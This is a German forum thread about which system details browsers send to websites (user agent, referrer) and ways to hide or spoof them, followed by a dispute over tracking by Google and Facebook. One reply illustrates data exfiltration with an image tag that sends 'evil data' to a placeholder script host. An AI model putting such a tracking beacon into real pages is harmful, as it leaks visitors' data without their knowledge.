Hi, man kann sich ja auf einigen Seiten(z.B. wieistmeineip.de) anzeigen lassen, was der Browser so alles über das eigene System mitsendet. Meine IP ist ja klar, die soll die aufgerufene Seite auch ruhig haben bzw. es geht mir auch nicht um Proxy oder ähnliches. Aber da werden ja noch andere Sachen gesendet, z.B. Betriebssystemm, Browser-Version, Herkunft(z.B. wenn man bei Google etwas gesucht und dann auf die Seite geklickt hat). Kann man das irgendwo abschalten? Arthur
Es gibt zig Möglichkeiten. Hier zwei zum Testen: Du kannst via http://anonymouse.org/anonwww_de.html surfen. Du kannst bestimmte Trackings blockieren via http://www.ghostery.com.
Arthur schrieb: > Kann man das irgendwo abschalten? Fragt sich, zu welchem Zweck, denn so machst du dich erst recht identifizierbar.
> Aber da werden ja noch > andere Sachen gesendet, z.B. Betriebssystemm, Browser-Version, > Herkunft Das ist der User Agent String. Den kann man fälschen (spoofing). Z.B. mit dem Mozilla Addon User Agent Switcher > (z.B. wenn man bei Google etwas gesucht und dann auf die Seite > geklickt hat). Das ist der HTML Referrer, die URL der aufrufenden Seite. Den kann man verstecken (hiding) oder fälschen (spoofing) und man kann grundsätzlich verhindern, dass er gesendet wird (https statt http benutzen)
Das ist nicht Firefox spezifisch, andere Browser sind nicht "besser". Klick mal hier, dann wird dir bestimmt richtig schlecht: http://panopticlick.eff.org/index.php?action=log&js=yes
Krapao schrieb: >> Aber da werden ja noch >> andere Sachen gesendet, z.B. Betriebssystemm, Browser-Version, >> Herkunft > > Das ist der User Agent String. > > Den kann man fälschen (spoofing). > Z.B. mit dem Mozilla Addon User Agent Switcher Damit sorgt man oft dafür, daß Webseiten nicht mehr richtig tun, weil ihre Browserweichen außer Kraft gesetzt sind. >> (z.B. wenn man bei Google etwas gesucht und dann auf die Seite >> geklickt hat). > > Das ist der HTML Referrer, die URL der aufrufenden Seite. > > Den kann man verstecken (hiding) oder fälschen (spoofing) > und man kann grundsätzlich verhindern, dass er gesendet wird (https > statt http benutzen) Wobei es auch da einige Seiten gibt, die den Referrer brauchen. Der wird verwendet, um sicherzustellen, daß nicht von außen direkt auf Teile einer Website (z.B. einzelne Bilder) verlinkt wird.
Beide Argumente treffen zu. Denjenigen, die sich Alufolie um den Kopf wickeln, ist es aber egal, ob das Scheisse aussieht :-)
Du kannst Dir den Firefox als Source herunterladen. Wenn Du es mit Programmierung voll drauf hast, kannst Du ihn so abwandeln, dass er alles tut was Du möchtest, oder nicht tut was Du nicht möchtest.
@ustel: wird die Auflistung vom php-script auf dem Server, oder innerhalb des Browsers über Java-Script generiert?
Ist das nicht ziemlich egal? Was mit Javascript im Browser herausgefunden werden kann, ist mit XMLHttpRequest ratzfatz an einen Webserver gesendet. Ansonsten: Ruf die Seite doch einfach mal mit deaktiviertem Javascript auf.
Matze schrieb: > @ustel: wird die Auflistung vom php-script auf dem Server, oder > innerhalb des Browsers über Java-Script generiert? Browser HTTP Header, Javascript, Flash, Java, ActiveX ..
Matze schrieb: > Du kannst Dir den Firefox als Source herunterladen. Wenn Du es mit > Programmierung voll drauf hast, kannst Du ihn so abwandeln, dass er > alles tut was Du möchtest, oder nicht tut was Du nicht möchtest. Geht auch einfacher, aber psst! Rufus Τ. Firefly schrieb: > Ist das nicht ziemlich egal? Was mit Javascript im Browser > herausgefunden werden kann, ist mit XMLHttpRequest ratzfatz an einen > Webserver gesendet. Im einfachsten Fall gar mit <img src="http://foo.bar/boesesScript.php?infos=pöhse daten">.
Arthur schrieb: > man kann sich ja auf einigen Seiten(z.B. wieistmeineip.de) anzeigen > lassen, was der Browser so alles über das eigene System mitsendet. Das kann dir ziemlich wumpe sein weil die paar Daten den Kohl nicht fett machen. Nahezu dein gesamtes Surfverhalten wird von Facebook, Goggle, Google Analytics, Adsense etc, aufgezeichnet. Einfach indem auf den Seiten die du ansurfst Codeteile enthalten sind die dein Browser nachlädt. Damit wissen Sie woher du kommst, wohin du gehst und wie lange du wo welche Seiten aufgerufen hast (auch hier übrigens). Wenn du dich dann z.B. bei Facebook oder Google einloggst wissen Sie auch deinen Namen Anschrift, Kennen deine Freunde und Feinde etc pp. Das alles geht an Firmen die sich um Datenschutzbestimmungen einen Dreck scheren. Es bleibt auch für immer und ewig in den USA gespeichert. Dagegen ist das bisschen was die Browser von sich aus senden, das aus technischen Gründen, Pipifax.
iaofline schrieb: > Das alles geht an Firmen die sich um Datenschutzbestimmungen einen Dreck > scheren. Kannst du diese Unterstellung auch irgendwie untermauern? Für Google wäre es so ziemlich das dümmste, die Daten entgegen den Datenschutzbestimmungen weiterzugeben. iaofline schrieb: > Es bleibt auch für immer und ewig in den USA gespeichert. Blödfug, nach EU-Recht kann man die Auskunft über die gespeicherten Daten verlangen ebenso wie deren Löschung. Im Falle von Facebook bereits erfolgreich durchgeführt.
gaast schrieb: > Blödfug, nach EU-Recht Bitte den Tonfall beachten. Außerdem: Was kümmert Google/Facebook ausgerechnet EU-Recht? Mir scheint, Du bist da etwas ... uninformiert, was die Problemlage angeht.
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